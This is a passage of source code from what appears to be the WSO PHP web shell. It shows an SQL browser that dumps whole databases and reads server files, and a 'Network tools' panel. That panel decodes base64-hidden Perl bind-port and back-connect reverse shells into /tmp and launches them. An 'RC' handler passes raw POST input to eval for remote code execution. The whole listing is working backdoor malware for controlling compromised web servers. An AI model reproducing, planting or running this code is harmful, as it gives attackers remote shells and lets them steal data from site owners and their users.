  1158.                                 case 'pgsql':
  1159.                                         return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_shadow'");
  1160.                                 break;
  1161.                         }
  1162.                         return false;
  1163.                 }
  1164.                 function error() {
  1165.                         switch($this->type)     {
  1166.                                 case 'mysql':
  1167.                                         return @mysql_error($this->link);
  1168.                                 break;
  1169.                                 case 'pgsql':
  1170.                                         return @pg_last_error($this->link);
  1171.                                 break;
  1172.                         }
  1173.                         return false;
  1174.                 }
  1175.                 function setCharset($str) {
  1176.                         switch($this->type)     {
  1177.                                 case 'mysql':
  1178.                                         if(function_exists('mysql_set_charset'))
  1179.                                                 return @mysql_set_charset($str, $this->link);
  1180.                                         else
  1181.                                                 $this->query('SET CHARSET '.$str);
  1182.                                         break;
  1183.                                 case 'pgsql':
  1184.                                         return @pg_set_client_encoding($this->link, $str);
  1185.                                         break;
  1186.                         }
  1187.                         return false;
  1188.                 }
  1189.                 function loadFile($str) {
  1190.                         switch($this->type)     {
  1191.                                 case 'mysql':
  1192.                                         return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  1193.                                 break;
  1194.                                 case 'pgsql':
  1195.                                         $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
  1196.                                         $r=array();
  1197.                                         while($i=$this->fetch())
  1198.                                                 $r[] = $i['file'];
  1199.                                         $this->query('drop table wso2');
  1200.                                         return array('file'=>implode("\n",$r));
  1201.                                 break;
  1202.                         }
  1203.                         return false;
  1204.                 }
  1205.                 function dump($table) {
  1206.                         switch($this->type)     {
  1207.                                 case 'mysql':
  1208.                                         $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1209.                                         $create = mysql_fetch_array($res);
  1210.                                         echo $create[1].";\n\n";
  1211.                                         $this->query('SELECT * FROM `'.$table.'`');
  1212.                                         while($item = $this->fetch()) {
  1213.                                                 $columns = array();
  1214.                                                 foreach($item as $k=>$v) {
  1215.                                                         $item[$k] = "'".@mysql_real_escape_string($v)."'";
  1216.                                                         $columns[] = "`".$k."`";
  1217.                                                 }
  1218.                                         echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1219.                                         }
  1220.                                 break;
  1221.                                 case 'pgsql':
  1222.                                         $this->query('SELECT * FROM '.$table);
  1223.                                         while($item = $this->fetch()) {
  1224.                                                 $columns = array();
  1225.                                                 foreach($item as $k=>$v) {
  1226.                                                         $item[$k] = "'".addslashes($v)."'";
  1227.                                                         $columns[] = $k;
  1228.                                                 }
  1229.                                         echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1230.                                         }
  1231.                                 break;
  1232.                         }
  1233.                         return false;
  1234.                 }
  1235.         };
  1236.         $db = new DbClass($_POST['type']);
  1237.         if(@$_POST['p2']=='download') {
  1238.                 ob_start("ob_gzhandler", 4096);
  1239.                 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1240.                 $db->selectdb($_POST['sql_base']);
  1241.                 header("Content-Disposition: attachment; filename=dump.sql");
  1242.                 header("Content-Type: text/plain");
  1243.                 foreach($_POST['tbl'] as $v)
  1244.                                 $db->dump($v);
  1245.                 exit;
  1246.         }
  1247.         wsoHeader();
  1248.         echo "
  1249. <h1>Sql browser</h1><div class=content>
  1250. <form name='sf' method='post'><table cellpadding='2' cellspacing='0'><tr>
  1251. <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
  1252. <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
  1253. <td><select name='type'><option value='mysql' ";
  1254.  
  1255.     if(@$_POST['type']=='mysql')echo 'selected';
  1256.  
  1257. echo ">MySql</option><option value='pgsql' ";
  1258.  
  1259. if(@$_POST['type']=='pgsql')echo 'selected';
  1260.  
  1261. echo ">PostgreSql</option></select></td>
  1262. <td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
  1263. <td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
  1264. <td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
  1265.         $tmp = "<input type=text name=sql_base value=''>";
  1266.         if(isset($_POST['sql_host'])){
  1267.                 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  1268.                         switch($_POST['charset']) {
  1269.                                 case "Windows-1251": $db->setCharset('cp1251'); break;
  1270.                                 case "UTF-8": $db->setCharset('utf8'); break;
  1271.                                 case "KOI8-R": $db->setCharset('koi8r'); break;
  1272.                                 case "KOI8-U": $db->setCharset('koi8u'); break;
  1273.                                 case "cp866": $db->setCharset('cp866'); break;
  1274.                         }
  1275.                         $db->listDbs();
  1276.                         echo "<select name=sql_base><option value=''></option>";
  1277.                         while($item = $db->fetch()) {
  1278.                                 list($key, $value) = each($item);
  1279.                                 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1280.                         }
  1281.                         echo '</select>';
  1282.                 }
  1283.                 else echo $tmp;
  1284.         }else
  1285.                 echo $tmp;
  1286.         echo "</td>
  1287.                                 <td><input type=submit value='>>'></td>
  1288.                         </tr>
  1289.                 </table>
  1290.                 <script>
  1291.                         function st(t,l) {
  1292.                                 document.sf.p1.value = 'select';
  1293.                                 document.sf.p2.value = t;
  1294.                                 if(l!=null)document.sf.p3.value = l;
  1295.                                 document.sf.submit();
  1296.                         }
  1297.                         function is() {
  1298.                                 for(i=0;i<document.sf.elements['tbl[]'].length;++i)
  1299.                                         document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
  1300.                         }
  1301.                 </script>";
  1302.         if(isset($db) && $db->link){
  1303.                 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1304.                         if(!empty($_POST['sql_base'])){
  1305.                                 $db->selectdb($_POST['sql_base']);
  1306.                                 echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
  1307.                                 $tbls_res = $db->listTables();
  1308.                                 while($item = $db->fetch($tbls_res)) {
  1309.                                         list($key, $value) = each($item);
  1310.                                         $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  1311.                                         $value = htmlspecialchars($value);
  1312.                                         echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
  1313.                                 }
  1314.                                 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
  1315.                                 if(@$_POST['p1'] == 'select') {
  1316.                                         $_POST['p1'] = 'query';
  1317.                                         $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
  1318.                                         $num = $db->fetch();
  1319.                                         $num = $num['n'];
  1320.                                         echo "<span>".$_POST['p2']."</span> ($num) ";
  1321.                                         for($i=0;$i<($num/30);$i++)
  1322.                                                 if($i != (int)$_POST['p3'])
  1323.                                                         echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
  1324.                                                 else
  1325.                                                         echo ($i+1)," ";
  1326.                                         if($_POST['type']=='pgsql')
  1327.                                                 $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  1328.                                         else
  1329.                                                 $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  1330.                                         echo "<br><br>";
  1331.                                 }
  1332.                                 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
  1333.                                         $db->query(@$_POST['p3']);
  1334.                                         if($db->res !== false) {
  1335.                                                 $title = false;
  1336.                                                 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
  1337.                                                 $line = 1;
  1338.                                                 while($item = $db->fetch())     {
  1339.                                                         if(!$title)     {
  1340.                                                                 echo '<tr>';
  1341.                                                                 foreach($item as $key => $value)
  1342.                                                                         echo '<th>'.$key.'</th>';
  1343.                                                                 reset($item);
  1344.                                                                 $title=true;
  1345.                                                                 echo '</tr><tr>';
  1346.                                                                 $line = 2;
  1347.                                                         }
  1348.                                                         echo '<tr class="l'.$line.'">';
  1349.                                                         $line = $line==1?2:1;
  1350.                                                         foreach($item as $key => $value) {
  1351.                                                                 if($value == null)
  1352.                                                                         echo '<td><i>null</i></td>';
  1353.                                                                 else
  1354.                                                                         echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1355.                                                         }
  1356.                                                         echo '</tr>';
  1357.                                                 }
  1358.                                                 echo '</table>';
  1359.                                         } else {
  1360.                                                 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  1361.                                         }
  1362.                                 }
  1363.                                 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
  1364.                                 echo "</td></tr>";
  1365.                         }
  1366.                         echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  1367.                         if(@$_POST['p1'] == 'loadfile') {
  1368.                                 $file = $db->loadFile($_POST['p2']);
  1369.                                 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  1370.                         }
  1371.         }
  1372.         echo '</div>';
  1373.         wsoFooter();
  1374. }
  1375. function actionNetwork() {
  1376.         wsoHeader();
  1377.         $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1378.         $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1379.         echo "<h1>Network tools</h1><div class=content>
  1380.         <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
  1381.         <span>Bind port to /bin/sh [perl]</span><br/>
  1382.         Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1383.         </form>
  1384.         <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
  1385.         <span>Back-connect  [perl]</span><br/>
  1386.         Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1387.         </form><br>";
  1388.         if(isset($_POST['p1'])) {
  1389.                 function cf($f,$t) {
  1390.                         $w=@fopen($f,"w") or @function_exists('file_put_contents');
  1391.                         if($w)  {
  1392.                                 @fwrite($w,@base64_decode($t));
  1393.                                 @fclose($w);
  1394.                         }
  1395.                 }
  1396.                 if($_POST['p1'] == 'bpp') {
  1397.                         cf("/tmp/bp.pl",$bind_port_p);
  1398.                         $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
  1399.                         echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
  1400.                 }
  1401.                 if($_POST['p1'] == 'bcp') {
  1402.                         cf("/tmp/bc.pl",$back_connect_p);
  1403.                         $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
  1404.                         echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
  1405.                 }
  1406.         }
  1407.         echo '</div>';
  1408.         wsoFooter();
  1409. }
  1410. function actionRC() {
  1411.         if(!@$_POST['p1']) {
  1412.                 $a = array(
  1413.                         "uname" => php_uname(),
  1414.                         "php_version" => phpversion(),
  1415.                         "wso_version" => VERSION,
  1416.                         "safemode" => @ini_get('safe_mode')
  1417.                 );
  1418.                 echo serialize($a);
  1419.         } else {
  1420.                 eval($_POST['p1']);
  1421.         }
  1422. }
  1423. if( empty($_POST['a']) )
  1424.         if(isset($default_action) && function_exists('action' . $default_action))
  1425.                 $_POST['a'] = $default_action;
  1426.         else
  1427.                 $_POST['a'] = 'SecInfo';
  1428. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  1429.         call_user_func('action' . $_POST['a']);
  1430. exit;